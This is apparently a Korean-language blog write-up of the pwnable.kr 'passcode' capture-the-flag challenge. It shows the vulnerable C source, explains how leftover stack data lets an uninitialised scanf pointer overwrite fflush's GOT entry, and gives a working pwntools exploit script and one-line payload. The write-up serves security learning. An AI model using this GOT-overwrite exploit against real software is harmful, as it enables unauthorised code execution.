Pwnable.kr
passcode
amoogotomollayo
2022. 3. 30. 23:04
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
문제에서 제공하는 소스 코드입니다.
welcome, login 함수가 실행됩니다.
welcome 함수에서는 name 배열에 100byte의 데이터를 입력할 수 있습니다.
login 함수에서는 변수 passcode1, passcode2에 데이터를 입력할 수 있습니다.
그 뒤 조건문에서 passcode1과 passcode2가 특정 값과 같다면 FLAG를 출력합니다.
근데 scanf를 보면 인자들이 &가 붙어있지 않아 각 변수에 저장된 값을 주소로 데이터를 입력받습니다.
이때 변수에 저장된 주소를 사용자가 정할 수 있다면 사용자가 원하는 주소에 원하는 데이터를 입력할 수 있게 됩니다.
맨 처음 welcome 함수가 실행되는데 이때 데이터를 입력하고 login 함수가 실행될 때 이전 welcome 함수에서 입력한 일부 데이터들은 그대로 남아있습니다.
로그인 함수의 스택 상태입니다. 일정 부분의 데이터가 남아 있는 것을 볼 수 있습니다.
passcode1의 주소는 이전 welcome 함수에서 입력한 데이터에 영향을 받습니다.
이를 통해 원하는 주소에 원하는 데이터를 입력할 수 있게 되었습니다.
fflush 함수가 보이는데 해당 함수의 got를 system 함수가 실행되는 주소로 변조한다면 조건문을 거치지 않고 FLAG를 얻을 수 있게 됩니다.
fflush의 got는 0x804a004입니다. 해당 주소의 값을 system 함수가 실행되는 0x80485ce로 변조해보겠습니다.
코드와 결과는 아래와 같습니다.
from pwn import *
s = ssh(user='passcode', host='pwnable.kr', port=2222, password='guest')
p = s.process('./passcode')
payload = b"A" * 96 + b"\x04\xa0\x04\x08" + b"134514147"
p.sendline(payload)
p.recv()
p.interactive()
#r <<< `python -c 'print "A" * 96 + "\x04\xa0\x04\x08" + "134514147"'`